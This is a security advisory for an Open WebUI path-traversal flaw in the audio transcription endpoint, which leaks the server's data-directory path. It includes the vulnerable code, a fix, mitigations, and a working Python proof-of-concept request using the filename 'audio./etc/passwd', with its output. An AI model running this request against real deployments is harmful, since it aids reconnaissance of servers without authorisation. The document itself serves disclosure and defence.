CVE-2026-28786

GHSA-vvxm-vxmr-624h MEDIUM

Open WebUI: path traversal leaks server filesystem path

Published March 27, 2026
CISO Take

Any registered Open WebUI user — no admin privileges required — can send a single crafted multipart request to the audio transcription endpoint and receive the server's absolute DATA_DIR path verbatim in the HTTP 400 error body. Patch to 0.8.6 immediately, prioritizing shared and multi-tenant deployments where untrusted accounts exist. The leaked path lowers attacker effort for follow-on reconnaissance and targeted exploitation of other vulnerabilities.

Affected Systems

Package Ecosystem Vulnerable Range Patched
open-webui pip < 0.8.6 0.8.6

Do you use open-webui? You're affected.

Severity & Risk

CVSS 3.1
4.3 / 10
EPSS
0.0%
chance of exploitation in 30 days
KEV Status
Not in KEV
Sophistication
Trivial

Recommended Action

  1. 1) Patch Open WebUI to 0.8.6 immediately — the fix applies os.path.basename() and suppresses internal paths in error responses. 2) If immediate patching is blocked, disable audio transcription via environment config or restrict the /api/v1/audio/transcriptions endpoint at the reverse proxy/WAF layer. 3) Add WAF/NGFW rule blocking multipart filename fields containing '/' or '../' sequences on the transcription endpoint. 4) Audit application logs for clusters of HTTP 400 responses from the transcription endpoint — repeated attempts from a single account indicate active probing. 5) Review all other file upload endpoints for missing os.path.basename() sanitization as a defense-in-depth measure.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.6 - AI system security and resilience
NIST AI RMF
MS-2.5 - AI Risk Testing, Evaluation, Validation, and Verification
OWASP LLM Top 10
LLM02:2025 - Sensitive Information Disclosure

Technical Details

NVD Description

### Summary An unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a `FileNotFoundError` whose message — including the server's absolute `DATA_DIR` path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments. ### Details `backend/open_webui/routers/audio.py:1197` extracts a file extension from the raw multipart `filename` using `file.filename.split(".")[-1]` with no path sanitisation. The result is concatenated into a filesystem path and passed to `open()`: ```python ext = file.filename.split(".")[-1] # attacker-controlled, no sanitisation filename = f"{id}.{ext}" # may contain "/" file_path = f"{file_dir}/{filename}" with open(file_path, "wb") as f: f.write(contents) ``` If the filename is `audio./etc/passwd`, `split(".")[-1]` yields `/etc/passwd` and the assembled path becomes: ``` {CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd ``` `open()` fails with `FileNotFoundError`. The outer `except` block at line 1231 returns the exception via `ERROR_MESSAGES.DEFAULT(e)`, leaking the full absolute path in the response body. The MIME-type guard at line 1190 checks `Content-Type` (a separate multipart field) and does not constrain `filename`. Setting `Content-Type: audio/wav` satisfies the guard regardless of the filename value. This handler is the only file upload path in the codebase that omits `os.path.basename()`. Both sibling handlers apply it explicitly: ```python # files.py:244 filename = os.path.basename(file.filename) # pipelines.py:206 filename = os.path.basename(file.filename) ``` **Recommended fix** — match the existing pattern and suppress path leakage in errors: ```python # audio.py:1197 — sanitise extension from pathlib import Path safe_name = Path(file.filename).name ext = Path(safe_name).suffix.lstrip(".") or "bin" # audio.py:1231 — suppress internal path in error response except Exception as e: log.exception(e) raise HTTPException(status_code=400, detail="Transcription failed.") ``` --- ### PoC **Requirements:** a running Open WebUI instance and one standard (non-admin) user account. ```bash docker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest # wait ~30 s, register a standard user at http://localhost:3000 pip install requests ``` ```python import requests, sys BASE_URL = "http://localhost:3000" EMAIL = "user@example.com" PASSWORD = "changeme" token = requests.post(f"{BASE_URL}/api/v1/auths/signin", json={"email": EMAIL, "password": PASSWORD}, timeout=10).json()["token"] boundary = "----Boundary" wav_stub = b"RIFF\x00\x00\x00\x00WAVE" body = ( f'--{boundary}\r\nContent-Disposition: form-data; name="file"; ' f'filename="audio./etc/passwd"\r\nContent-Type: audio/wav\r\n\r\n' ).encode() + wav_stub + f"\r\n--{boundary}--\r\n".encode() resp = requests.post( f"{BASE_URL}/api/v1/audio/transcriptions", data=body, headers={"Authorization": f"Bearer {token}", "Content-Type": f"multipart/form-data; boundary={boundary}"}, timeout=15, ) print(resp.status_code, resp.text) ``` **Observed output (live test, commit `b8112d72b`):** ``` 400 {"detail":"[ERROR: [Errno 2] No such file or directory: '/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']"} ``` The absolute `DATA_DIR` path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change. **Note on the write primitive:** the traversal path includes a fresh UUID segment (`{uuid}.`) that never pre-exists as a directory, so `open()` is OS-blocked in all practical scenarios. The impact is information disclosure only. --- ### Impact Any authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute `DATA_DIR` filesystem path. The route is gated by `get_verified_user` — the lowest privilege tier — so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed. > **AI Disclosure:** Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit `b8112d72b`. All code references were verified by the reporter, who accepts full responsibility for accuracy.

Exploitation Scenario

An attacker registers or compromises a standard (non-admin) account on a shared enterprise Open WebUI deployment. They craft a single multipart POST to /api/v1/audio/transcriptions with filename='audio./etc/passwd' and Content-Type: audio/wav (bypassing the MIME guard). The server returns HTTP 400 with the full path '/app/backend/data/cache/audio/transcriptions/{uuid}./etc/passwd' embedded in the error body, exposing the absolute DATA_DIR structure. The attacker then iterates traversal depths — 'audio./nonexistent/a/b/c' — observing which segments produce different error messages to enumerate the live directory tree. This profile is used to target subsequent vulnerabilities such as config file reads or log injection.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Timeline

Published
March 27, 2026
Last Modified
March 27, 2026
First Seen
March 27, 2026